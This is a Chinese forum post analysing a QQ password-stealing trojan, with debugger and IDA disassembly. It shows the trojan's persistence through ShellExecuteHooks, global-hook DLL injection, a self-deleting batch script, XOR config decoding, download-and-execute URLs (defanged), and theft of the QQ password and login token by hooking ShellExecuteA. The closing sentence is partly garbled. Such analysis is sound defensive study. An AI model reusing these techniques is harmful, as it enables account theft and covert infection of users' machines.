Board logo

标题: QQ密码找回者2007-内部版分析 [打印本页]

作者: 冰绿茶    时间: 2009-1-23 19:11     标题: QQ密码找回者2007-内部版分析

QQ密码找回者2007-内部版分析
QQ密码找回者2007-内部版 分析2007.3.22更新,还算比较新吧,第一次分析木马,分析得不妥的地方希望大家指出,木马是在网上下载的,是盗取QQ的一个木马生成器生成的,自己随便填了一点东西,生成了一个木马,下面开始分析,分析的不是很详细,附上对isignup.sys分析的IDB文件isignup.idb

生成的木马无壳,生成的木马第一次运行:
00405C4F |. E8 80F5FFFF call KnQQ3_26.004051D4 ; 处理解码后的配置信息

这里读取配置,然后解密配置信息,再解析(不多分析了,后面还有)

00405C67 |. E8 74CEFFFF call KnQQ3_26.00402AE0 ; 获取自身EXE路径

00405C94 |. E8 FBECFFFF call KnQQ3_26.00404994 ; 获取自身隐藏的路径

0012FFA0 00DC04D0 ASCII "C:\Program Files\Internet Explorer\Connection Wizard\"

将自己改个名字复制进去
0012FF70 00DC0564 |ExistingFileName = "E:\",B2,"",A1,"",B6,"狙?綷qq2007.3.26\KnQQ3.26.exe"
0012FF74 00DC0514 |NewFileName = "C:\Program Files\Internet Explorer\Connection Wizard\isignup.dll"
0012FF78 00000000 \FailIfExists = FALSE

设置隐藏,系统属性
0012FF7C 00DC0514 |FileName = "C:\Program Files\Internet Explorer\Connection Wizard\isignup.dll"
0012FF80 00000006 \FileAttributes = HIDDEN|SYSTEM

这里看看isignup.sys能不能删除
00405D42 |. E8 49E8FFFF call <jmp.&kernel32.DeleteFileA> ; \DeleteFileA
0012FF80 00DC0600 \FileName = "C:\Program Files\Internet Explorer\Connection Wizard\isignup.sys"

其实就是看看木马有没有注入到系统中去,第一次运行,显然能删除

00405E3D |. BA CC5F4000 mov edx, KnQQ3_26.00405FCC ; |ASCII "DLLFILE"

00405E47 |. E8 70EAFFFF call KnQQ3_26.004048BC ; \这里从资源中释放出isignup.sys
资源名是“DELLFILE”

这里用个窗口来判断木马是否运行,窗口名:qqjddExe
找不到表示还没运行
00405E5B |. 68 1C604000 push KnQQ3_26.0040601C ; /Title = "qqjddExe"
00405E60 |. 68 28604000 push KnQQ3_26.00406028 ; |Class = "ListBox"
00405E65 |. E8 DEE7FFFF call <jmp.&user32.FindWindowA> ; \FindWindowA
00405E6A |. 50 push eax ; /hWnd
00405E6B |. E8 F0E7FFFF call <jmp.&user32.IsWindow> ; \IsWindow

这个窗口判断木马是否卸载
00405E74 |. 68 30604000 push KnQQ3_26.00406030 ; /Title = "qqjddDll"
00405E79 |. 68 28604000 push KnQQ3_26.00406028 ; |Class = "ListBox"
00405E7E |. E8 C5E7FFFF call <jmp.&user32.FindWindowA> ; \FindWindowA
00405E83 |. 50 push eax ; /hWnd
00405E84 |. E8 D7E7FFFF call <jmp.&user32.IsWindow> ; \IsWindow
00405E89 |. 85C0 test eax, eax ; 判断DLL是否卸载

loadlibrary isignup.sys ,这里可见这个不是驱动,是个DLL,后面我们拷贝出来继续分析
00405E9C |. E8 F3F9FFFF call KnQQ3_26.00405894 ; loadLibrary
进去看看

004058D1 |> \68 80594000 push KnQQ3_26.00405980 ; /ProcNameOrOrdinal = "MsgHookOn"
004058D6 |. A1 C8704000 mov eax, dword ptr ds:[4070C8] ; |
004058DB |. 8B00 mov eax, dword ptr ds:[eax] ; |
004058DD |. 50 push eax ; |hModule
004058DE |. E8 D5ECFFFF call <jmp.&kernel32.GetProcAddress> ; \GetProcAddress
004058E3 |. 8B15 D8704000 mov edx, dword ptr ds:[4070D8] ; KnQQ3_26.0040867C
004058E9 |. 8902 mov dword ptr ds:[edx], eax
004058EB |. 68 8C594000 push KnQQ3_26.0040598C ; /ProcNameOrOrdinal = "MsgHookOff"
004058F0 |. A1 C8704000 mov eax, dword ptr ds:[4070C8] ; |
004058F5 |. 8B00 mov eax, dword ptr ds:[eax] ; |
004058F7 |. 50 push eax ; |hModule
004058F8 |. E8 BBECFFFF call <jmp.&kernel32.GetProcAddress> ; \GetProcAddress

获取2个函数,MsgHookOn,MsgHookOff

然后建一个窗口ListBox qqjddDll
00405949 |. BA C4594000 mov edx, KnQQ3_26.004059C4 ; |ASCII "qqjddDll"
0040594E |. B8 D0594000 mov eax, KnQQ3_26.004059D0 ; |ASCII "ListBox"
00405953 |. 33C9 xor ecx, ecx ; |
00405955 |. E8 1AEDFFFF call KnQQ3_26.00404674 ; \KnQQ3_26.00404674


00405EB3 |. FFD3 call ebx ; MsgHookOn
进去看看,里面建一个全局钩子
00D19A44 >/$ 6A 00 push 0 ; /ThreadID = 0
00D19A46 |. A1 50C6D100 mov eax, dword ptr ds:[D1C650] ; |
00D19A4B |. 50 push eax ; |hModule => 00D10000 (isignup)
00D19A4C |. B8 249AD100 mov eax, isignup.00D19A24 ; |
00D19A51 |. 50 push eax ; |Hookproc => isignup.00D19A24
00D19A52 |. 6A 03 push 3 ; |HookType = WH_GETMESSAGE
00D19A54 |. E8 33ADFFFF call <jmp.&user32.SetWindowsHookExA> ; \SetWindowsHookExA

这个钩子是空的
00D19A24 /. 55 push ebp ; 一个空的全局钩子
00D19A25 |. 8BEC mov ebp, esp
00D19A27 |. 8B45 10 mov eax, dword ptr ss:[ebp+10]
00D19A2A |. 50 push eax ; /lParam
00D19A2B |. 8B45 0C mov eax, dword ptr ss:[ebp+C] ; |
00D19A2E |. 50 push eax ; |wParam
00D19A2F |. 8B45 08 mov eax, dword ptr ss:[ebp+8] ; |
00D19A32 |. 50 push eax ; |HookCode
00D19A33 |. A1 BCC7D100 mov eax, dword ptr ds:[D1C7BC] ; |
00D19A38 |. 50 push eax ; |hHook => NULL
00D19A39 |. E8 AEACFFFF call <jmp.&user32.CallNextHookEx> ; \CallNextHookEx
00D19A3E |. 5D pop ebp
00D19A3F \. C2 0C00 retn 0C

下面就卸载掉
00405EB3 |. FFD3 call ebx ; MsgHookOn
00405EB5 |. EB 06 jmp short KnQQ3_26.00405EBD
00405EB7 |> 56 /push esi ; /pMsg
00405EB8 |. E8 83E7FFFF |call <jmp.&user32.DispatchMessageA> ; \DispatchMessageA
00405EBD |> 6A 00 push 0 ; /MsgFilterMax = 0
00405EBF |. 6A 00 |push 0 ; |MsgFilterMin = 0
00405EC1 |. 6A 00 |push 0 ; |hWnd = NULL
00405EC3 |. 56 |push esi ; |pMsg
00405EC4 |. E8 87E7FFFF |call <jmp.&user32.GetMessageA> ; \GetMessageA
00405EC9 |. 85C0 |test eax, eax
00405ECB |.^ 75 EA \jnz short KnQQ3_26.00405EB7 ; 传输消息,等一段时间
00405ECD |. 8B1D C4704000 mov ebx, dword ptr ds:[4070C4] ; KnQQ3_26.00408678
00405ED3 |. 8B1B mov ebx, dword ptr ds:[ebx]
00405ED5 |. FFD3 call ebx ; MsgHookOff,卸载刚刚那个钩子


看到这里很不能理解,建了一个钩子却是空的,然后自己卸载掉
但是用一块三毛钱大侠的枚举全局钩子查看一下,发现出现了2个钩子
一个是刚刚建的,还有一个不知道什么时候建的,看来那个isignup.sys还有很大的问题

然后卸载自己,处理一下注册表
00405EF0 |. E8 93ECFFFF call KnQQ3_26.00404B88 ; 处理注册表
进去看看,写入4个注册表的值,不具体看代码了,直接贴出写了哪些值

00404BA9 |. BA 704C4000 mov edx, KnQQ3_26.00404C70 ; |ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks"

00404BBB |. BA C04C4000 mov edx, KnQQ3_26.00404CC0 ; ASCII "CLSID\{B8A170A8-7AD3-4678-B2FE-F2D7381CC1B5}"

00404BE6 |. BA F84C4000 mov edx, KnQQ3_26.00404CF8 ; ASCII "\InProcServer32"


然后把自己给删了
00405F00 |. E8 57EEFFFF call KnQQ3_26.00404D5C ; 删除自己

删除方法是
建立一个bat,_xiaran.bat
内容
:try
del "E:\病毒样本\qq2007.3.26\KnQQ3.26.exe"
if exist "E:\病毒样本\qq2007.3.26\KnQQ3.26.exe" goto try
del %0




然后来看看它的那个全局钩子的dll(文件名是isignup.sys)
用LorderPE查看,SubSystem是02,显然不是驱动,将文件名改成isignup.dll来分析

首先获取宿主的文件名

06C push 104h ; nSize
070 push ebx ; lpFilename
074 push 0 ; hModule
078 call GetModuleFileNameA ; 获取宿主的文件名

和下面几个文件名比较

push offset aQqs013tp_exe ; "QQS013TP.exe"
loc_40A95F: ; "QQS010TP.Exe"
push offset aQqs010tp_exe
loc_40A986: ; "QQS009TP.Exe"
push offset aQqs009tp_exe
loc_40A9AD: ; "QQS008TP.Exe"
push offset aQqs008tp_exe
loc_40A9D4: ; "QQS003TP.Exe"
push offset aQqs003tp_exe
loc_40A9FB: ; "QQDoctor.exe"
push offset aQqdoctor_exe

遇到宿主是上面几个程序时,采取的做法是:
07C push 42h ; uExitCode
080 call ExitProcess_0
直接关掉程序

下面继续判断3个程序,Qq.Exe,Explorer.Exe,VerCLSID.exe,QQgame.exe
loc_40AA22: ; "Qq.Exe"
07C push offset aQq_exe
loc_40AA73: ; "Explorer.Exe"
07C push offset aExplorer_exe
loc_40AA9B: ; "VerCLSID.exe"
07C push offset aVerclsid_exe
loc_40AAC3:
07C mov eax, ds:pQQgame
07C call GetStrLen


情况不一样,处理也不一样

我们先看最简单的VerCLSID.exe
设置标志
07C mov eax, ds:IsVerCLSID
07C mov dword ptr [eax], 0FFFFFFFFh
然后
07C mov eax, ds:ppisignup_dll
07C mov eax, [eax]
07C call ExecuteIt
这里是执行 isignup.dll这个程序(还记得嘛,上面把自身更名拷贝成isignup.dll)

然后看Explorer.exe,同样设置标志
07C mov eax, ds:IsExplorer
07C mov dword ptr [eax], 0FFFFFFFFh
loc_40AAF3: ; nSize
07C push 104h
080 push ebx ; lpFilename
084 mov eax, ds:hModule
084 push eax ; hModule
088 call GetModuleFileNameA ; 获取自身的文件名
;
07C mov byte ptr [ebx+eax], 0
07C mov eax, ebx
07C call ReadIni ; 读取解码配置
;

到文件末尾读取配置信息
00875650 |. E8 DFEFFFFF call <jmp.&kernel32.CreateFileA> ; \CreateFileA

008756AB |. 6A 02 push 2 ; /Origin = FILE_END
008756AD |. 6A 00 push 0 ; |pOffsetHi = NULL
008756AF |. 8B03 mov eax, dword ptr ds:[ebx] ; |
008756B1 |. F7D8 neg eax ; |
008756B3 |. 50 push eax ; |OffsetLo
008756B4 |. 56 push esi ; |hFile
008756B5 |. E8 02F0FFFF call <jmp.&kernel32.SetFilePointer> ; \SetFilePointer

028 call DecodeIni ; 解码配置信息
;
028 mov edx, [ebp+var_10]
028 mov eax, offset Str_Enter ; 下面开始解析配置信息
; 这个是回车符,以回车分割
028 call StrStr

解密配置的代码,主要的循环如下
loc_4048DC: ; key[ i]
00C mov dl, ds:key[ebx] ;
00C mov ecx, [esp+4+pIni]
00C xor [ecx], dl ; *(byte*) p ^= dl
;
00C inc [esp+4+pIni] ; p++
;
00C inc ebx ; i++
;
00C and ebx, 80000007h ; i%=7,key一共有8byte

循环异或解密,很简单
8A 93 BC B0 40 00 mov dl, ds:key[ebx] ; key[ i]

这行有唯一的特征码 8A 93,整个文件中就这一处,可以搜索这个特征码,然后取后面的地址
读取8BYTE的key,对文件末尾的附加配置信息进行解码

解码后判断是不是explorer.exe
如果是
07C mov eax, ds:ppQQjddlst ; Explorer.exe是宿主
;
07C mov eax, [eax]
07C call GetStrLen
07C push eax ; lpFileName
080 call DeleteFileA
07C push offset aQqjddexe ; "qqjddExe"
080 push offset dword_40ADC4
084 call FindWindowA
07C test eax, eax
07C jnz OVER ; 找到窗口,说明木马已经启动,跳走
; 没找到,则下面开始启动木马

木马没启动,建一个线程,启动木马
07C push offset ThreadId ; lpThreadId
080 push 0 ; dwCreationFlags
084 push 4Ah ; lpParameter
088 push offset StartMe ; lpStartAddress
08C push 0 ; dwStackSize
090 push 0 ; lpThreadAttributes
094 call CreateThread
07C jmp short OVER

然后进StartMe看看

034 push offset WindowName ; "qqjddExe"
038 push offset ClassName ; "ListBox"
03C call FindWindowA
034 test eax, eax
034 jnz loc_40991D ; 找到窗口
; 已经启动就结束
;
034 call CreateListBox ; 没启动
; 建立木马启动的标志
;
034 push offset aQqjdddll ; "qqjddDll"
038 push offset ClassName ; "ListBox"
03C call FindWindowA
034 mov ebx, eax
034 push ebx ; hWnd
038 call IsWindow ; 是窗口下面就发消息关闭
034 test eax, eax
034 jz short loc_40982B

然后读取注册表中的DL值
034 lea edx, [ebp+var_20]
034 mov eax, offset aDl ; "DL"
034 call ReadReg

注册表位置:
030 push offset SubKey ; "Software\\microsoft\\qqjdd"
034 push 80000001h ; hKey
038 call RegOpenKeyExA_0
判断是不是2
034 mov edx, offset a2 ; "2"
034 call StrCmp
如果是2就启动2个事件timer

034 call CreateTimer1 ; DL等于2
; 建2个Timer
;
034 call CreateTimer2 ; Timer2枚举一些游戏进程
; 为盗号做准备
; 这个是盗QQ的木马,不知道有什么用
;

loc_409864:
034 mov eax, ds:ppDL
034 mov eax, [eax]
034 mov edx, offset a3 ; "3"
034 call StrCmp ; 不是2就比较是不是3
;

034 mov eax, offset aDl ; "DL"
034 mov edx, offset a2 ; "2"
034 call WriteReg ; 如果DL不是3
; 则写入DL=2
;
034 call CreateTimer3 ; Timer3这里是个空的
;
loc_4098A5:
034 mov eax, ds:ppIni
034 mov eax, [eax+10h]
034 mov edx, offset a1 ; "1"
034 call StrCmp ; 这里应该是木马生成器里的配置信息
; 1表示有下载者
;
034 call CreateTimer4 ; Timer4是下载者
; 如果配置中写了有下载者
; 就会启动
;
然后建立全局钩子
loc_4098BE: ; 这里建立的才是真正的钩子
034 call SetHook ; 释放这个dll时建的那个钩子
; 并没有什么作用是个空的
; 目的也就是让DLL注入到所有
; 进程的空间

后面就没有重要的了,这里一共3个Timer,1个hook
这个hook就是刚刚我们看到的第二个全局钩子,第一个钩子是空的,目的只是让dll注入到所有进程空间
然后注入到explorer.exe时,开始第二个钩子。几个Timer不难分析,先去看看Timer4

Timer4:
000 push offset Timer_download
004 push 180000 ; uElapse
008 push 0 ; nIDEvent
00C push 0 ; hWnd
010 call SetTimer
3分钟一次

loc_4095EC:
010 mov edx, [esi+48h]
010 mov eax, offset Tab_Lf ; 这个是DOWNLOAD list的分隔符
;
010 call StrStr
010 mov ebx, eax
010 cmp ebx, 1
010 jl short loc_409651 ; 小于1,即0,即没找到
; 即列表结束了
;
014 call LeftStr ; 取出下载列表中的地址
;

loc_409651:
010 mov eax, [esi+4Ch]
010 call StrNum ; 获取列表长度
;
010 mov edi, eax
010 test edi, edi
010 jl short loc_409689 ; 小于0就跳走
;

010 call DownLoadIt ; 下载并执行
;
下载地址是系统的TempPath,文件名是列表中的:
10C push esp ; lpBuffer
110 push 104h ; nBufferLength
114 call GetTempPathA

这个Timer4很简单,不复杂

然后看Timer2
000 push offset EnumProcess
004 push 300000 ; uElapse
008 push 0 ; nIDEvent
00C push 0 ; hWnd
010 call SetTimer ; 枚举一些游戏进程
; 应该是游戏盗号用的
; 不过这里是盗QQ号的
; 应该作用不大,可能是这个木马
; 盗游戏进程的功能并没有开发
; 或许还有内部版?
;

5分钟一次,作用是枚举进程
里面过程非常清晰,不多说了,列一下查找的进程列表
154 mov eax, offset aWow_exe ; "WoW.exe"
154 call StrStr
154 mov eax, offset aClient_exe ; "Client.exe"
154 call StrStr
154 mov eax, offset aMy_exe ; "MY.EXE"
154 call StrStr
154 mov eax, offset aMy_exe_0 ; "my.exe"
154 call StrStr
154 mov eax, offset aWoool_dat ; "woool.dat"
154 call StrStr
154 mov eax, offset aWoool_dat_0 ; "WOOOL.DAT"
154 call StrStr
154 mov eax, offset aWooolasstool_dat ; "wooolasstool.dat"
154 call StrStr
154 mov eax, offset aZhengtu_dat ; "zhengtu.dat"
154 call StrStr
154 mov eax, offset aPatchupdate_ex ; "patchupdate.exe.tmp"
154 call StrStr
154 mov eax, offset aElementclient_ ; "elementclient.exe"
154 call StrStr
154 mov eax, offset aElementclient_e ; "elementclient.e"
154 call StrStr

游戏玩的不多,只认识2个游戏,一个魔兽世界,一个征途^_^

然后看Timer1
首先判断木马生成日期与当前日期的差。。小于3天就不运行,难道想长期作案?
018 call IsDayLessThan3
018 test eax, eax
018 jnz loc_40956D ; 木马建立日期
; 和当前日期小于3天
; 就不运行。。。?
; 不懂为什么

018 lea eax, [ebp+var_4]
018 mov edx, ds:off_40B128
018 call copyStr
018 lea eax, [ebp+var_4]
018 call DecodeIni
018 mov eax, [ebp+var_4]
018 call DownAndExec

下载的文件名是:
009B04DC hXXp://updates.microvsoft.com/pic/up/down/updates.exe

018 mov eax, ds:IsWOW_exe ; 枚举到魔兽进程的标志
; 下同
;
018 cmp dword ptr [eax], 1
下载文件:
009B0520 hXXp://rsing.micicsoft.com/pic/up/gamedown/moshou.exe

下面就不具体分析了,依次下载并执行木马

018 mov eax, ds:IsClint_exe
018 cmp byte ptr [eax], 1
009B0520 hXXp://rsing.micicsoft.com/pic/up/gamedown/rxjh.exe

018 mov eax, ds:IsMy_exe
018 cmp byte ptr [eax], 1
009B0520 hXXp://rsing.micicsoft.com/pic/up/gamedown/mhxy.exe

018 mov eax, ds:IsZhengTU
018 cmp byte ptr [eax], 1
009B0520 hXXp://rsing.micicsoft.com/pic/up/gamedown/zhengtu.exe

018 mov eax, ds:Iselementclient
018 cmp byte ptr [eax], 1
009B0520 hXXp://rsing.micicsoft.com/pic/up/gamedown/wulin.exe

018 mov eax, ds:Iselementclient_e
018 cmp byte ptr [eax], 1
009B0520 hXXp://rsing.micicsoft.com/pic/up/gamedown/wanmei.exe

018 mov eax, ds:IsWoool
018 cmp byte ptr [eax], 1
009B0520 hXXp://rsing.micicsoft.com/pic/up/gamedown/woool.exe


最后看看钩子,这里的分析大部分是靠猜的,可能不准确

00C mov eax, ds:IsQQ
00C cmp dword ptr [eax], 0 ; 判断是不是QQ
;
00C jz short loc_4088EF;不是就结束

根据消息划分一共4个过程

00B888C4 |> \8B10 mov edx, dword ptr ds:[eax] ; Case 1 of switch 00B888B2

; CODE XREF: MyHookProc+1Fj
CODE:004088C4 00C 8B 10 mov edx, [eax]
CODE:004088C6 00C 8B 40 0C mov eax, [eax+0Ch]
CODE:004088C9 00C E8 DA FC FF FF call CreateEdit ; 建立一个Edit
CODE:004088C9 ;



00B888D0 |> \8B50 04 mov edx, dword ptr ds:[eax+4] ; Case 30 of switch 00B888B2

loc_4088D0: ; CODE XREF: MyHookProc+2Cj
CODE:004088D0 00C 8B 50 04 mov edx, [eax+4]
CODE:004088D3 00C 8B 40 0C mov eax, [eax+0Ch]
CODE:004088D6 00C E8 B5 FD FF FF call GetFromEdit ; 获取Edit里的值
CODE:004088D6 ;
CODE:004088DB 00C EB 12 jmp short loc_4088EF




00B888DD |> \8B40 0C mov eax, dword ptr ds:[eax+C] ; Case 7 of switch 00B888B2
loc_4088DD: ; CODE XREF: MyHookProc+27j
CODE:004088DD 00C 8B 40 0C mov eax, [eax+0Ch]
CODE:004088E0 00C E8 4F FE FF FF call SendMsg ; 获取Edit里的值再发送出去
CODE:004088E0 ; 不太明白
CODE:004088E0 ;



00B888E7 |> \8B40 0C mov eax, dword ptr ds:[eax+C] ; Case 2 of switch 00B888B2

loc_4088E7: ; CODE XREF: MyHookProc+22j
CODE:004088E7 00C 8B 40 0C mov eax, [eax+0Ch]
CODE:004088EA 00C E8 D9 FE FF FF call StolenQQ ; 盗QQ的关键地方
CODE:004088EA ;


E8 C7 C6 FF FF call FindQQPWDWindow ; 查找QQ密码那个框
CODE:004087E4 ;
CODE:004087E9 020 85 C0 test eax, eax
CODE:004087EB 020 74 50 jz short NotFound
CODE:004087ED 020 6A 00 push 0 ; LPCSTR
CODE:004087EF 024 68 88 88 40 00 push offset aCombobox ; "ComboBox"
CODE:004087F4 028 6A 00 push 0 ; HWND
CODE:004087F6 02C 53 push ebx ; HWND
CODE:004087F7 030 E8 10 BF FF FF call FindWindowExA
CODE:004087FC 020 8B D8 mov ebx, eax
CODE:004087FE 020 53 push ebx ; hWnd
CODE:004087FF 024 E8 40 BF FF FF call IsWindow
CODE:00408804 020 85 C0 test eax, eax
CODE:00408806 020 74 56 jz short loc_40885E
CODE:00408808 020 8D 55 F8 lea edx, [ebp+var_8]
CODE:0040880B 020 8B C3 mov eax, ebx
CODE:0040880D 020 E8 C2 C5 FF FF call GetText ; 获取QQ号
CODE:0040880D ;
CODE:00408812 020 8B 55 F8 mov edx, [ebp+var_8]
CODE:00408815 020 A1 94 B2 40 00 mov eax, ds:ppQQNum
CODE:0040881A 020 E8 3D AE FF FF call PointStr
CODE:0040881F 020 8D 55 F4 lea edx, [ebp+var_C]
CODE:00408822 020 A1 9C B2 40 00 mov eax, ds:EditHandle
CODE:00408827 020 8B 00 mov eax, [eax]
CODE:00408829 020 E8 A6 C5 FF FF call GetText ; 获取QQ密码
CODE:00408829 ; 这两处是猜的,不过应该是这样
CODE:00408829 ;



NotFound: ; CODE XREF: StolenQQ+23j
CODE:0040883D 020 8B C3 mov eax, ebx
CODE:0040883F 020 E8 FC C6 FF FF call FindAgain ; 没找到就再找一遍
CODE:0040883F ;
CODE:00408844 020 85 C0 test eax, eax
CODE:00408846 020 74 16 jz short loc_40885E ; 如果还没找到
CODE:00408846 ; 就开一个线程去枚举窗口
CODE:00408846 ;
CODE:00408848 020 8D 45 FC lea eax, [ebp+ThreadId]
CODE:0040884B 020 50 push eax ; lpThreadId
CODE:0040884C 024 6A 00 push 0 ; dwCreationFlags
CODE:0040884E 028 6A 00 push 0 ; lpParameter
CODE:00408850 02C 68 80 7C 40 00 push offset EnumWindow ; lpStartAddress
CODE:00408855 030 6A 00 push 0 ; dwStackSize
CODE:00408857 034 6A 00 push 0 ; lpThreadAttributes
CODE:00408859 038 E8 E6 BD FF FF call CreateThread


这里基本是靠猜的


最后来看看宿主是qq的情况

QQ宿主,主要过程
首先判断是不是第一次注入QQ运行,如果是,则关闭QQ,记录下已经运行过了
call sub_406FC8 ; qq是宿主
CODE:0040ABC6 ;
CODE:0040ABCB 07C A1 70 B2 40 00 mov eax, ds:ppIni
CODE:0040ABD0 07C 83 78 40 00 cmp dword ptr [eax+40h], 0
CODE:0040ABD4 07C 7E 38 jle short loc_40AC0E
CODE:0040ABD6 07C 8D 55 A8 lea edx, [ebp+var_58]
CODE:0040ABD9 07C B8 D4 AD 40 00 mov eax, offset aFr ; "FR"
CODE:0040ABDE 07C E8 21 B0 FF FF call ReadReg ; 读注册表,看看是不是
CODE:0040ABDE ; 第一次注入QQ运行
CODE:0040ABDE ;
call CreateTimer5 ; 第一次运行,关闭QQ
CODE:0040AC09

写注册表,关闭QQ ;
BA 28 93 40 00 mov edx, offset aNo_1 ; "No"
CODE:004092F9 004 B8 34 93 40 00 mov eax, offset aFr_0 ; "FR"
CODE:004092FE 004 E8 AD C9 FF FF call WriteReg ; 写注册表,第一次已经运行过了
CODE:004092FE ;
CODE:00409303 004 6A 42 push 42h ; nExitCode
CODE:00409305 008 E8 5A B4 FF FF call PostQuitMessage
CODE:0040930A 004 68 DC 05 00 00 push 1500 ; dwMilliseconds
CODE:0040930F 008 E8 B0 B3 FF FF call Sleep
CODE:00409314 004 6A 42 push 42h ; uExitCode
CODE:00409316 008 E8 39 B3 FF FF call ExitProcess_0 ; 关闭


不是第一次运行
07C E8 05 F8 FF FF call HookAPI? ; 不是第一次运行
CODE:0040AC0E ; Hook
CODE:0040AC0E ; ShellExecuteA这个API
CODE:0040AC0E ;

里面Hook 2个dll的所有ShellExecuteA
分别是 QQHelperdll.dll和QQBaseClassInDll.dll



038 68 4C A5 40 00 push offset aShell32_dll ; "shell32.dll"
CODE:0040A483 03C 68 58 A5 40 00 push offset aShellexecutea ; "ShellExecuteA"
CODE:0040A488 040 68 58 9E 40 00 push offset MyShellExeCuteA1
CODE:0040A48D 044 8B 45 FC mov eax, [ebp+var_4]
CODE:0040A490 044 E8 EB 94 FF FF call GetStrLen
CODE:0040A495 044 8B C8 mov ecx, eax
CODE:0040A497 044 B2 01 mov dl, 1
CODE:0040A499 044 A1 F4 9A 40 00 mov eax, THookApi
CODE:0040A49E 044 E8 A9 F6 FF FF call HookDllApi ; Hook QQHelperdll.dll中的
CODE:0040A49E ; ShellExecuteA
CODE:0040A49E ;
CODE:0040A49E ; 这个是delphi的类,
CODE:0040A49E ; 作用是hook内存中某个dll的api
CODE:0040A49E ; 方法是枚举该dll的IAT,
CODE:0040A49E ; 将IAT替换成自己的地址
CODE:0040A49E ;
CODE:0040A4A3 038 A3 48 B1 40 00 mov ds:dword_40B148, eax



038 68 4C A5 40 00 push offset aShell32_dll ; "shell32.dll"
CODE:0040A4BA 03C 68 58 A5 40 00 push offset aShellexecutea ; "ShellExecuteA"
CODE:0040A4BF 040 68 3C A1 40 00 push offset MyShellExeCuteA2
CODE:0040A4C4 044 B9 7C A5 40 00 mov ecx, offset aQqbaseclassind ; "QQBaseClassInDll.dll"
CODE:0040A4C9 044 B2 01 mov dl, 1
CODE:0040A4CB 044 A1 F4 9A 40 00 mov eax, THookApi
CODE:0040A4D0 044 E8 77 F6 FF FF call HookDllApi ; Hook QQBaseClassInDll.dll中的
CODE:0040A4D0 ; ShellExecuteA
CODE:0040A4D0 ;
CODE:0040A4D0 ; 这个MyShellExeCuteA2和上面的一样
CODE:0040A4D0 ; 主要作用是通过QQ登陆邮箱时获取QQ
CODE:0040A4D0 ; 登陆时发出的信息,从而上QQ网站
CODE:0040A4D0 ; 获取QQ的IP,QB等信息,因为QQ登陆邮箱
CODE:0040A4D0 ; 时会使用ShellExecuteA这个API函数



里面的2个MyShellExeCuteA基本是一样的

01C A1 60 B2 40 00 mov eax, ds:IsHookApi?
CODE:00409E88 01C 83 38 01 cmp dword ptr [eax], 1
CODE:00409E8B 01C 1B C0 sbb eax, eax
CODE:00409E8D 01C 40 inc eax
CODE:00409E8E 01C 84 C0 test al, al
CODE:00409E90 01C 75 7B jnz short DoSth ; 判断是否需要盗取QB,IP信息
CODE:00409E90 ; 需要就跳走
CODE:00409E90 ; 不需要就调用系统的
CODE:00409E90 ; ShellExecuteA
CODE:00409E90 ;


不需要就调用原来的

034 E8 F8 FD FF FF call GetOrgAPIAddr
CODE:00409F04 034 FF D0 call eax ; 调用原始的shellexecutea
CODE:00409F04 ;


如果需要的话

01C B8 20 A1 40 00 mov eax, offset aMail_qq_comCgi ; "mail.qq.com/cgi-bin/login"
CODE:00409FCA 01C E8 99 9A FF FF call StrStr ; 判断filename里面有没有
CODE:00409FCA ; mail.qq.com/cgi-bin/login
CODE:00409FCA ; 这里是QQ登陆邮箱的参数
CODE:00409FCF 01C 85 C0 test eax, eax

01C E8 77 DE FF FF call GetQQSth ; 如果有这个参数
CODE:00409FEC ;

进去看看

020 B8 54 7F 40 00 mov eax, offset aUin ; "&Uin="
CODE:00407EA7 020 E8 BC BB FF FF call StrStr ; 找 &Uin=
CODE:00407EA7 ;

020 E8 5C BB FF FF call DelStr ; 找到就删掉 &Uin= 前面的
CODE:00407EC4 020 8B 55 FC mov edx, [ebp+Uin]
CODE:00407EC7 020 B8 64 7F 40 00 mov eax, offset aK_0 ; "&K="
CODE:00407ECC 020 E8 97 BB FF FF call StrStr ; 继续找 &K=
CODE:00407ECC ;

024 E8 F4 BA FF FF call LeftStr ; 去&K=左边的
CODE:00407EE7 ;
CODE:00407EEC 020 8B 45 F4 mov eax, [ebp+K]
CODE:00407EEF 020 8D 55 F8 lea edx, [ebp+Uin_k]
CODE:00407EF2 020 E8 31 D2 FF FF call sub_405128
CODE:00407EF7 020 8B 55 F8 mov edx, [ebp+Uin_k]
CODE:00407EFA 020 B8 38 C7 40 00 mov eax, offset pUin_k ; Uin=和K之间的

CODE:00407EFA ;
CODE:00407EFF 020 E8 58 B7 FF FF call PointStr
CODE:00407F04 020 8D 4B 03 lea ecx, [ebx+3]
CODE:00407F07 020 49 dec ecx
CODE:00407F08 020 8D 45 FC lea eax, [ebp+Uin]
CODE:00407F0B 020 BA 01 00 00 00 mov edx, 1
CODE:00407F10 020 E8 0B BB FF FF call DelStr
CODE:00407F15 020 B8 3C C7 40 00 mov eax, offset pK_ ; &K=后面的
CODE:00407F15 ;


这里是获取 参数 &Uin= 和 &K= 后面的值

&Uin后面的是QQ号,&K 后面的应该是服务器验证密码的信息

获取到这些信息后

01C 50 push eax ; lpThreadId
CODE:0040A05B 020 6A 00 push 0 ; dwCreationFlags
CODE:0040A05D 024 6A 00 push 0 ; lpParameter
CODE:0040A05F 028 68 68 7F 40 00 push offset GetQQipQb ; lpStartAddress
CODE:0040A064 02C 6A 00 push 0 ; dwStackSize
CODE:0040A066 030 6A 00 push 0 ; lpThreadAttributes
CODE:0040A068 034 E8 D7 A5 FF FF call CreateThread ; 获取到东西就开个线程
CODE:0040A068 ;

GetQQipQb里面就不多看了,看看字符串就知道了

030 B8 F8 82 40 00 mov eax, offset aIpG ; "您的IP地址是:"

030 B8 20 83 40 00 mov eax, offset aIpG_0 ; "IP所属的区域:"

050 B8 9C 83 40 00 mov eax, offset aRNbspNbspUg ; "余 额:"

054 B8 C4 83 40 00 mov eax, offset aQDiv ; " Q币</div>"


最后总结一下:
第一次运行木马,木马将自身复制到
C:\Program Files\Internet Explorer\Connection Wizard\
改名为isignup.dll,从资源中释放isignup.sys(其实是个DLL),
加载isignup.sys建立全局钩子1,这个钩子是空的,目的将isignup.sys注入到所有进程中,等待注入成功后卸载改钩子,寫入注册表,壤開機侍Explorer.exe就加載isignup.sys,最後删除自身

